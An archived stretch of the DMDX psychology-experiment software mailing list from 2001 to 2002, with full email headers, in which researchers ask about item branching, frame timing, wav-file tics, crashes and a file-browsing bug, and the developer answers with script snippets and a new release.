------=_NextPart_000_0051_01C17F27.54181100 Content-Type: text/html; charset=""iso-8859-1"" Content-Transfer-Encoding: quoted-printable Dear all,   Wondering if you guys could help me = with this one:=20 Is there a way for DMDX to present = again those=20 items that were not correctly answered first off? That is, in the = first=20 stage of the experiment, we want to present all the items of the task, = then in=20 the second stage, only those items that were missed or answered = incorrectly in=20 the first stage. Can this be done through branching? Not sure how to go = about=20 it, would really appreciate your help.   Thanks, Helen ------=_NextPart_000_0051_01C17F27.54181100-- >From DMDX-owner@psy1.psych.arizona.edu Fri Dec 7 09:28:24 2001 Received: from phobos.email.Arizona.EDU (root@phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id JAA09785 for ; Fri, 7 Dec 2001 09:28:07 -0700 Received: from XPTERNARY.u.arizona.edu (150.135.175.50) by phobos.email.Arizona.EDU (6.0.036) id 3C0C128D000765A8 for DMDX@psy1.psych.arizona.edu; Fri, 7 Dec 2001 09:28:05 -0700 Message-Id: <5.1.0.14.2.20011207091658.00b49dc8@psy1.psych.arizona.edu> Date: Fri, 07 Dec 2001 09:27:49 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: Repeating items answered incorrectly In-Reply-To: <005401c17ecb$20d0cbe0$6b6b9a89@uws.edu.au> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 01:59 PM 12/7/2001 +1100, you wrote: >Dear all, > >Wondering if you guys could help me with this one: >Is there a way for DMDX to present again those items that were not >correctly answered first off? That is, in the first stage of the >experiment, we want to present all the items of the task, then in the >second stage, only those items that were missed or answered incorrectly in >the first stage. Can this be done through branching? Not sure how to go >about it, would really appreciate your help. Branching and counters. You'll want to set a counter to zero for every item, assuming there are unique item numbers then use the item number for the counter number. In the first stage every item should include . In the second stage all the items should be repeated but branches should be included around every item if the respective counter is greater than 0. For example: ... +100 ""target 100"" * ; +101 ""target 101"" * ; ... ~0 ; +200 ""target 100"" *; ~0 ; +201 ""target 101"" *; ... -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ There are no secrets better kept than those secrets that everybody guesses. - George Bernard Shaw (1856-1950) Mrs. Warren's Profession, 1983 >From DMDX-owner@psy1.psych.arizona.edu Mon Dec 10 11:57:15 2001 Received: from deimos.email.Arizona.EDU (root@deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id LAA18015 for ; Mon, 10 Dec 2001 11:56:19 -0700 From: lindseyl@email.arizona.edu Received: from [198.60.159.10] by deimos.email.Arizona.EDU with HTTP; Mon, 10 Dec 2001 11:56:17 -0700 Date: Mon, 10 Dec 2001 11:56:17 -0700 Message-ID: <3C10F13E0000350B@deimos.email.Arizona.EDU> Subject: [DMDX] Timing issue To: ""DMDX listserve"" MIME-Version: 1.0 Content-Type: text/plain; charset=""US-ASCII"" Content-Transfer-Encoding: 7bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Hello all, I am trying to code the instructions for a task to stay on the screen for 3 seconds, then the task itself will begin. Presently, the instructions are coded for 1 tic, but are staying on the screen for 4 seconds, due to the amount of time it is taking DMDX to load the task. Is there a code that can be added to the instructions frame that tells DMDX to leave the graphics (instruction text) on the screen until the next frame displays? Any help would be greatly appreciated! Lindsey Littrell __________________________________________________ Lindsey Littrell Research Technician Department of Psychiatry University of Arizona >From DMDX-owner@psy1.psych.arizona.edu Mon Dec 10 12:57:15 2001 Received: from phobos.email.Arizona.EDU (root@phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id MAA18192 for ; Mon, 10 Dec 2001 12:57:07 -0700 Received: from 666-devel.u.arizona.edu (128.196.98.7) by phobos.email.Arizona.EDU (6.0.036) id 3C1168360002EF23 for DMDX@psy1.psych.arizona.edu; Mon, 10 Dec 2001 12:57:06 -0700 Message-Id: <5.1.0.14.2.20011210125722.00b32b80@psy1.psych.arizona.edu> Date: Mon, 10 Dec 2001 12:58:06 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] Re: Timing issue In-Reply-To: <3C10F13E0000350B@deimos.email.Arizona.EDU> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 11:56 AM 12/10/2001 -0700, you wrote: >Hello all, > >I am trying to code the instructions for a task to stay on the screen for >3 seconds, then the task itself will begin. Presently, the instructions are >coded for 1 tic, but are staying on the screen for 4 seconds, due to the >amount of time it is taking DMDX to load the task. Is there a code that >can be added to the instructions frame that tells DMDX to leave the graphics >(instruction text) >on the screen until the next frame displays? Use two items. First displays the text and leaves it on the screen. Second loads the task. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ All power corrupts, but we need electricity. >From DMDX-owner@psy1.psych.arizona.edu Tue Dec 11 03:09:54 2001 Received: from smtp.infonex.net ([168.143.114.3]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id DAA19960 for ; Tue, 11 Dec 2001 03:09:29 -0700 Received: from [212.19.142.125] (cyberpass.net [168.143.112.7]) by smtp.infonex.net (8.11.5/8.11.5) with ESMTP id fBBA91r14379 for ; Tue, 11 Dec 2001 02:09:06 -0800 (PST) Mime-Version: 1.0 Message-Id: In-Reply-To: <5.1.0.14.2.20011210125722.00b32b80@psy1.psych.arizona.edu> References: <5.1.0.14.2.20011210125722.00b32b80@psy1.psych.arizona.edu> Date: Tue, 11 Dec 2001 16:08:06 -0700 To: DMDX@psy1.psych.arizona.edu From: Greg Thomson Subject: [DMDX] Introduction and where's the manual? Content-Type: text/plain; charset=""us-ascii"" ; format=""flowed"" Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list I've been wrestling with DMDX for many hours now, and know that soon I'll be posting dumb questions, and so I thought I'd better introduce myself. I have a Ph.D. in psycholinguistics from the University of Alberta (2000) and live in Kazakhstan where I am introducing psycholinguistic methods in the General Linguistics Department of the Kazakhstan National University in Almaty. I am not totally computer illiterate, but by no means a programmer, and have little experience with Windows. I considered scraping together the money for a commercial program, but realized that that would mean that no students would be able to work on developing experiments on their own computers. So I opted for DMDX since so many people rave that it is easy to learn. I really don't want to be asking terribly dumb questions, though believe me, I have a few already! Question 1: In one of the on-line manuals I read: ""You will need to read the full documentation eventually (unfortunately?)."" Where is the full documentation available? I haven't found a manual for DMDX on line, nor found reference to it (though I found a manual for DMASTR and read it). For the future of contribution of Kazakhstani psycholinguists, Greg >From DMDX-owner@psy1.psych.arizona.edu Tue Dec 11 03:35:10 2001 Received: from mailhost.mrc-cbu.cam.ac.uk (sirius.mrc-cbu.cam.ac.uk [192.153.213.178]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id DAA20057 for ; Tue, 11 Dec 2001 03:35:02 -0700 Received: from pc057.mrc-cbu.cam.ac.uk by mailhost.mrc-cbu.cam.ac.uk with Sendmail (8.9.3/V3080601); Tue, 11 Dec 2001 10:35:00 GMT Message-Id: <5.1.0.14.2.20011211103226.02830df0@pophost.mrc-cbu.cam.ac.uk> Date: Tue, 11 Dec 2001 10:39:46 +0000 To: DMDX@psy1.psych.arizona.edu From: Mike Ford Subject: [DMDX] Re: Introduction and where's the manual? In-Reply-To: References: <5.1.0.14.2.20011210125722.00b32b80@psy1.psych.arizona.edu> <5.1.0.14.2.20011210125722.00b32b80@psy1.psych.arizona.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list >Question 1: > >In one of the on-line manuals I read: ""You will need to read the full >documentation >eventually (unfortunately?)."" Where is the full documentation available? I >haven't found a manual for DMDX on line, nor found reference to it (though >I found a manual for DMASTR and read it). Hi. That's my line and the full documentation is Jonathon's help pages. I wrote my tutorial to help folk here in Cambridge that were having problems with the help pages which at that point were less thorough than they are now. Also, they were for folks who found some of the technical aspects of the help pages difficult to understand. By giving explained simple examples I wanted to show folk that DMDX is in fact easy to use. By using a combination of my and Matt Davis's manuals and the help pages I think it should be possible to learn how to use DMDX competantly. By the way, are you working in Kazakh or Russian? - Mike oxoxxooxxxoooxxxxooooxxxxxoooooxxxxxxoooooxxxxxooooxxxxoooxxxooxxoxo *** Note New Extension - 311 *** Mike Ford MRC Cognition & Brain Sciences Unit 15 Chaucer Rd, Cambridge, CB1 2NQ, UK. Tel: +44 (0)1223 355294 ext 311 Fax: +44 (0)1223 359062 http://www.mrc-cbu.cam.ac.uk/personal/mike.ford oxoxxooxxxoooxxxxooooxxxxxoooooxxxxxxoooooxxxxxooooxxxxoooxxxooxxoxo >From DMDX-owner@psy1.psych.arizona.edu Wed Dec 12 08:34:54 2001 Received: from mail5.doit.wisc.edu (mail5.doit.wisc.edu [144.92.9.76]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id IAA23330 for ; Wed, 12 Dec 2001 08:34:03 -0700 Received: from [144.92.195.187] by mail5.doit.wisc.edu id JAA55534 (8.9.1/50); Wed, 12 Dec 2001 09:34:01 -0600 From: ""John J. Curtin"" To: Subject: [DMDX] extra tic when presenting wav file Date: Wed, 12 Dec 2001 09:32:03 -0600 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 7bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list It appears that when I present a wav file, an additional tic is added to the item when I use the syntax below. Is this a result of a syntax error or misunderstanding of wav file presentation that can be corrected or do I need to adjust for this additional tic in the timing of later frames when presenting wav files (i.e., subtract one tic from next frame)? Syntax below. Wav file is 50ms long. Header d59 f1 Sample trial with wav file 218 o22 ""GREEN"" <% 242>/o122 ""wnprobe"" /""GREEN"" <% 120>/o23 <% 483>/; The timing is supposed to match the timing of this trial without wav file 212 o12 ""GREEN"" <% 362>/o13 <% 483>/; Thanks for the help J John J. Curtin, Ph.D. Assistant Professor of Psychology University of Wisconsin 1202 W. Johnson St. Madison, WI 53706 Office: 608-262-0387 Lab: 608-262-5621 Email: jjcurtin@facstaff.wisc.edu >From DMDX-owner@psy1.psych.arizona.edu Wed Dec 12 09:35:15 2001 Received: from deimos.email.Arizona.EDU (root@deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id JAA23528 for ; Wed, 12 Dec 2001 09:34:51 -0700 Received: from XPTERNARY.u.arizona.edu (150.135.175.50) by deimos.email.Arizona.EDU (6.0.036) id 3C10F13B00076BEC for DMDX@psy1.psych.arizona.edu; Wed, 12 Dec 2001 09:34:49 -0700 Message-Id: <5.1.0.14.2.20011212092647.00b58228@psy1.psych.arizona.edu> Date: Wed, 12 Dec 2001 09:34:48 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: extra tic when presenting wav file In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 09:32 AM 12/12/2001 -0600, you wrote: >It appears that when I present a wav file, an additional tic is added to the >item when I use the syntax below. Is this a result of a syntax error or >misunderstanding of wav file presentation that can be corrected or do I need >to adjust for this additional tic in the timing of later frames when >presenting wav files (i.e., subtract one tic from next frame)? Syntax >below. Wav file is 50ms long. > >Header > d59 f1 36> > >Sample trial with wav file >218 o22 ""GREEN"" <% 242>/o122 ""wnprobe"" start>/""GREEN"" <% 120>/o23 <% 483>/; > >The timing is supposed to match the timing of this trial without wav file >212 o12 ""GREEN"" <% 362>/o13 <% 483>/; > >Thanks for the help I guess seeing as you haven't overridden the duration of the frame with the wave file in it it's faintly possible it's coming out to a non-zero number so you might try: 218 o22 ""GREEN"" <% 242>/o122 ""wnprobe"" %0 /""GREEN"" <% 120>/o23 <% 483>/; -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ To do two things at once is to do neither. >From DMDX-owner@psy1.psych.arizona.edu Wed Dec 12 09:58:10 2001 Received: from smtp.gu.se (smtp.gu.se [130.241.150.66]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id JAA23624 for ; Wed, 12 Dec 2001 09:57:59 -0700 Received: from mango (psyk21.ss.med.gu.se [130.241.85.176]) by smtp.gu.se (8.10.2/8.10.2) with SMTP id fBCGvvp05392 for ; Wed, 12 Dec 2001 17:57:57 +0100 From: ""Derek N. Eder"" To: Subject: [DMDX] RE: Re: extra tic when presenting wav file Date: Wed, 12 Dec 2001 17:57:28 +0100 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Content-Transfer-Encoding: 7bit In-Reply-To: <5.1.0.14.2.20011212092647.00b58228@psy1.psych.arizona.edu> Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list I was going to suggest a neuroleptic for those tics - anomymous coward :) >From DMDX-owner@psy1.psych.arizona.edu Wed Dec 12 11:04:44 2001 Received: from phobos.email.Arizona.EDU (root@phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id LAA23846 for ; Wed, 12 Dec 2001 11:04:32 -0700 Received: from 666-devel.u.arizona.edu (128.196.98.7) by phobos.email.Arizona.EDU (6.0.036) id 3C17385800008C85 for DMDX@psy1.psych.arizona.edu; Wed, 12 Dec 2001 11:04:31 -0700 Message-Id: <5.1.0.14.2.20011212110239.00b32b68@psy1.psych.arizona.edu> Date: Wed, 12 Dec 2001 11:04:38 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] RE: Re: extra tic when presenting wav file In-Reply-To: References: <5.1.0.14.2.20011212092647.00b58228@psy1.psych.arizona.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Actually what I suspect it is is the rounding up routines that insure that the duration of a sound frame in tics is longer than the wave form is. So when it gets a hold of a 0ms duration waveform it nicely rounds that up to 1 tic. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ All power corrupts, but we need electricity. >From DMDX-owner@psy1.psych.arizona.edu Wed Dec 12 11:35:15 2001 Received: from mail5.doit.wisc.edu (mail5.doit.wisc.edu [144.92.9.76]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id LAA23979 for ; Wed, 12 Dec 2001 11:35:07 -0700 Received: from [144.92.195.187] by mail5.doit.wisc.edu id MAA72352 (8.9.1/50); Wed, 12 Dec 2001 12:35:06 -0600 From: ""John J. Curtin"" To: Subject: [DMDX] RE: RE: Re: extra tic when presenting wav file Date: Wed, 12 Dec 2001 12:33:07 -0600 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset=""US-ASCII"" Content-Transfer-Encoding: 7bit In-reply-to: <5.1.0.14.2.20011212110239.00b32b68@psy1.psych.arizona.edu> Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Adding the %0 did the trick. All frames now present for the correct number of tics Thanks J John J. Curtin, Ph.D. Assistant Professor of Psychology University of Wisconsin 1202 W. Johnson St. Madison, WI 53706 Office: 608-262-0387 Lab: 608-262-5621 Email: jjcurtin@facstaff.wisc.edu -----Original Message----- From: DMDX-owner@psy1.psych.arizona.edu [mailto:DMDX-owner@psy1.psych.arizona.edu]On Behalf Of Jonathan C. Forster Sent: Wednesday, December 12, 2001 12:05 PM To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] RE: Re: extra tic when presenting wav file Actually what I suspect it is is the rounding up routines that insure that the duration of a sound frame in tics is longer than the wave form is. So when it gets a hold of a 0ms duration waveform it nicely rounds that up to 1 tic. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ All power corrupts, but we need electricity. ==================================================================== Send mail to DMDX-request@psy1.psych.arizona.edu with the word 'unsubscribe' by itself with no quotes in the body of the email to be removed from the list. The list archive is available here: http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread ==================================================================== >From DMDX-owner@psy1.psych.arizona.edu Wed Jan 9 10:26:45 2002 Received: from hotmail.com (f58.law3.hotmail.com [209.185.241.58]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id KAA32164 for ; Wed, 9 Jan 2002 10:26:09 -0700 Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Wed, 9 Jan 2002 09:25:38 -0800 Received: from 194.57.187.95 by lw3fd.law3.hotmail.msn.com with HTTP; Wed, 09 Jan 2002 17:25:38 GMT From: ""stephane dufau"" To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] dmdx crashes with a NEC computer Date: Wed, 09 Jan 2002 17:25:38 Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1; format=flowed Message-ID: Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Hi Can anyone help me?? I'm trying to run DMDX on a NEC laptop Versa Note that uses a Piii under windows 2000 (using an ATI video card). I've already used dmdx with a desktop under win2000 without any problem. My problem is that when I try to check the syntax, nothing happens (really nothing) and the application crashes. And when I run the rtf file, dmdx switches the display into VGA mode and then crashes. In my view, it seems that the file .rtf can't be read. thanks for your responses. _________________________________________________________________ T�l�chargez MSN Explorer gratuitement � l'adresse http://explorer.msn.fr/intl.asp. >From DMDX-owner@psy1.psych.arizona.edu Wed Jan 9 15:39:40 2002 Received: from deimos.email.Arizona.EDU (deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id PAA00163 for ; Wed, 9 Jan 2002 15:39:23 -0700 Received: from 666-devel.u.arizona.edu (128.196.98.7) by deimos.email.Arizona.EDU (6.0.036) id 3C3B595700024297 for DMDX@psy1.psych.arizona.edu; Wed, 9 Jan 2002 15:39:23 -0700 Message-Id: <5.1.0.14.2.20020109153231.00b32b80@psy1.psych.arizona.edu> Date: Wed, 09 Jan 2002 15:39:23 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] Windows Me Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Well I stuck Windows Me on the test box and it's millisecond callback SD dropped from 0.6ms (or higher) down to 0.07ms, a roughly tenfold increase in timing accuracy. So for people using a PIO12 or other polled devices for input an Me upgrade from 98 or 98SE is highly recommended. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Femo's Law of Automotive Engine Repairing: If you drop something, it will never reach the ground. >From DMDX-owner@psy1.psych.arizona.edu Wed Jan 9 15:49:53 2002 Received: from deimos.email.Arizona.EDU (deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id PAA00221 for ; Wed, 9 Jan 2002 15:49:46 -0700 Received: from 666-devel.u.arizona.edu (128.196.98.7) by deimos.email.Arizona.EDU (6.0.036) id 3C3B5957000248C3 for DMDX@psy1.psych.arizona.edu; Wed, 9 Jan 2002 15:49:46 -0700 Message-Id: <5.1.0.14.2.20020109153930.00b3c390@psy1.psych.arizona.edu> Date: Wed, 09 Jan 2002 15:49:38 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] Re: dmdx crashes with a NEC computer In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 05:25 PM 1/9/2002 +0000, you wrote: >Hi > >Can anyone help me?? >I'm trying to run DMDX on a NEC laptop Versa Note that uses a Piii under >windows 2000 (using an ATI video card). >I've already used dmdx with a desktop under win2000 without any problem. > >My problem is that when I try to check the syntax, nothing happens (really >nothing) and the application crashes. And when I run the rtf file, dmdx >switches the display into VGA mode and then crashes. >In my view, it seems that the file .rtf can't be read. The .RTF can probably be read, what is likely to be occurring is that a device driver is failing. You can have a look at DIAGNOSTICS.TXT in whatever folder DMDX is in which might give you a better idea of just what is failing but it's more than likely the video drivers. If RTFPARSED.ITM is not being written then something much more sinister must be occurring. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Femo's Law of Automotive Engine Repairing: If you drop something, it will never reach the ground. >From DMDX-owner@psy1.psych.arizona.edu Thu Jan 10 00:14:00 2002 Received: from currawong.maccs.mq.edu.au (root@currawong2.psy.mq.edu.au [137.111.47.11]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id AAA01234 for ; Thu, 10 Jan 2002 00:13:31 -0700 Received: (from nobody@localhost) by currawong.maccs.mq.edu.au (8.9.3/8.8.7) id SAA12229 for DMDX@psy1.psych.arizona.edu; Thu, 10 Jan 2002 18:13:28 +1100 From: Anna Woollams To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] Re: Request for interesting scripts from users Message-ID: <1010646808.3c3d3f188648a@www.maccs.mq.edu.au> Date: Thu, 10 Jan 2002 18:13:28 +1100 (EST) References: <3C0B74E900001E96@deimos.email.Arizona.EDU> In-Reply-To: <3C0B74E900001E96@deimos.email.Arizona.EDU> MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Dear All, > jcf and I have written an article for BRMIC on DMDX, in part > rebutting > Myors' absurd comments about the impossibility of accurate response and > display > timing under Windows. > > One reviewer complained that he/she was completely unable to get DMDX > to > browse the hard disk. We'd like to know how many other users > experienced > this problem. Well, until this afternoon I had never experienced this problem with any of our Dell PCs or Laptops running Win98 or ME. However, we had some new Toshiba Satellite Pro 4600s (PIII/850, 256MB RAM) that had just arrived with W2K, so we thought we'd pop on the most recent version of DMDX (which works just fine on our other machines) and see how it fared. Unfortunately, although I can run TimeDX and set/time video modes etc., when I open DMDX, all looks fine except that I can't browse the hard disk to select any rtf files to run. These machines were not purchased to be used for testing, so this problem is not dire from our perspective, but I'd love to know what causes the problem! Regards, Anna W. This Message is intended for the addressee named and may contain confidential information. If you are not the intended recipient, please delete it and notify the sender. Views expressed in this message are those of the individual sender and are not necessarily the views of The Macquarie Centre for Cognitive Science. >From DMDX-owner@psy1.psych.arizona.edu Thu Jan 10 02:58:15 2002 Received: from mailhost.mrc-cbu.cam.ac.uk (sirius.mrc-cbu.cam.ac.uk [192.153.213.178]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id CAA01575 for ; Thu, 10 Jan 2002 02:58:02 -0700 Received: from pc057.mrc-cbu.cam.ac.uk by mailhost.mrc-cbu.cam.ac.uk with Sendmail (8.9.3/V3080601); Thu, 10 Jan 2002 09:58:00 GMT Message-Id: <5.1.0.14.2.20020110100001.028e8b10@pophost.mrc-cbu.cam.ac.uk> Date: Thu, 10 Jan 2002 10:03:08 +0000 To: DMDX@psy1.psych.arizona.edu From: Mike Ford Subject: [DMDX] Re: Request for interesting scripts from users In-Reply-To: <1010646808.3c3d3f188648a@www.maccs.mq.edu.au> References: <3C0B74E900001E96@deimos.email.Arizona.EDU> <3C0B74E900001E96@deimos.email.Arizona.EDU> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list This problem with browsing the hard disk, in my experience, only happens the very first time you use DMDX after setting things up. I have often, but not always had to type the full path of the an rtf file to get it to load. After that the browsing has always worked. - Mike oxoxxooxxxoooxxxxooooxxxxxoooooxxxxxxoooooxxxxxooooxxxxoooxxxooxxoxo *** Note New Extension - 311 *** Mike Ford MRC Cognition & Brain Sciences Unit 15 Chaucer Rd, Cambridge, CB1 2NQ, UK. Tel: +44 (0)1223 355294 ext 311 Fax: +44 (0)1223 359062 http://www.mrc-cbu.cam.ac.uk/personal/mike.ford oxoxxooxxxoooxxxxooooxxxxxoooooxxxxxxoooooxxxxxooooxxxxoooxxxooxxoxo >From DMDX-owner@psy1.psych.arizona.edu Thu Jan 10 08:13:38 2002 Received: from deimos.email.Arizona.EDU (deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id IAA02239 for ; Thu, 10 Jan 2002 08:13:12 -0700 Received: from XPTERNARY.u.arizona.edu (150.135.175.50) by deimos.email.Arizona.EDU (6.0.036) id 3C3B5957000355DA; Thu, 10 Jan 2002 08:13:11 -0700 Message-Id: <5.1.0.14.2.20020110081117.00b47020@psy1.psych.arizona.edu> Date: Thu, 10 Jan 2002 08:13:10 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: Request for interesting scripts from users In-Reply-To: <5.1.0.14.2.20020110100001.028e8b10@pophost.mrc-cbu.cam.ac. uk> References: <1010646808.3c3d3f188648a@www.maccs.mq.edu.au> <3C0B74E900001E96@deimos.email.Arizona.EDU> <3C0B74E900001E96@deimos.email.Arizona.EDU> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 10:03 AM 1/10/2002 +0000, you wrote: >This problem with browsing the hard disk, in my experience, only happens >the very first time you use DMDX after setting things up. I have often, >but not always had to type the full path of the an rtf file to get it to >load. After that the browsing has always worked. Yep, that's the fix. Seeing as I have a couple of XP boxes now I'll try whacking the DMDX registry tree and see if it duplicates the trouble -- some win32 function has obviously changed between 9x and w2k and I'll have to find out which one... -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Trifles make perfection and perfection is no trifle. - Michelangelo >From DMDX-owner@psy1.psych.arizona.edu Thu Jan 10 11:51:27 2002 Received: from phobos.email.Arizona.EDU (phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id LAA02727 for ; Thu, 10 Jan 2002 11:51:08 -0700 Received: from 666-devel.u.arizona.edu (128.196.98.7) by phobos.email.Arizona.EDU (6.0.036) id 3C39CF61000636D9 for DMDX@psy1.psych.arizona.edu; Thu, 10 Jan 2002 11:51:08 -0700 Message-Id: <5.1.0.14.2.20020110114929.00b32b80@psy1.psych.arizona.edu> Date: Thu, 10 Jan 2002 11:51:07 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] 2.6.05 Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Ok, DMDX 2.6.05 is up on the web page and it handles w2k/XP first time startup Browse button failure issues. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Femo's Law of Automotive Engine Repairing: If you drop something, it will never reach the ground. >From DMDX-owner@psy1.psych.arizona.edu Thu Jan 10 21:09:17 2002 Received: from currawong.maccs.mq.edu.au (root@currawong2.psy.mq.edu.au [137.111.47.11]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id VAA03831 for ; Thu, 10 Jan 2002 21:09:03 -0700 Received: (from nobody@localhost) by currawong.maccs.mq.edu.au (8.9.3/8.8.7) id PAA00653 for DMDX@psy1.psych.arizona.edu; Fri, 11 Jan 2002 15:09:02 +1100 From: Anna Woollams To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] Re: Request for interesting scripts from users Message-ID: <1010722142.3c3e655e1d4d9@www.maccs.mq.edu.au> Date: Fri, 11 Jan 2002 15:09:02 +1100 (EST) References: <1010646808.3c3d3f188648a@www.maccs.mq.edu.au> <3C0B74E900001E96@deimos.email.Arizona.EDU> <3C0B74E900001E96@deimos.email.Arizona.EDU> <5.1.0.14.2.20020110081117.00b47020@psy1.psych.arizona.edu> In-Reply-To: <5.1.0.14.2.20020110081117.00b47020@psy1.psych.arizona.edu> MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Dear All, Thanks so much for the rapid replies. I could have sworn that I tried to type in the full path yesterday and it wouldn't let me type in anything at all, however having started it from a DOS window today, it accepted the full path, and will now browse happily. I also tried to download that new version in which this problem is fixed (2.6.05), but I keep ending up with 2.6.04 somehow. Thanks again, Anna W. This Message is intended for the addressee named and may contain confidential information. If you are not the intended recipient, please delete it and notify the sender. Views expressed in this message are those of the individual sender and are not necessarily the views of The Macquarie Centre for Cognitive Science. >From DMDX-owner@psy1.psych.arizona.edu Fri Jan 11 06:08:09 2002 Received: from 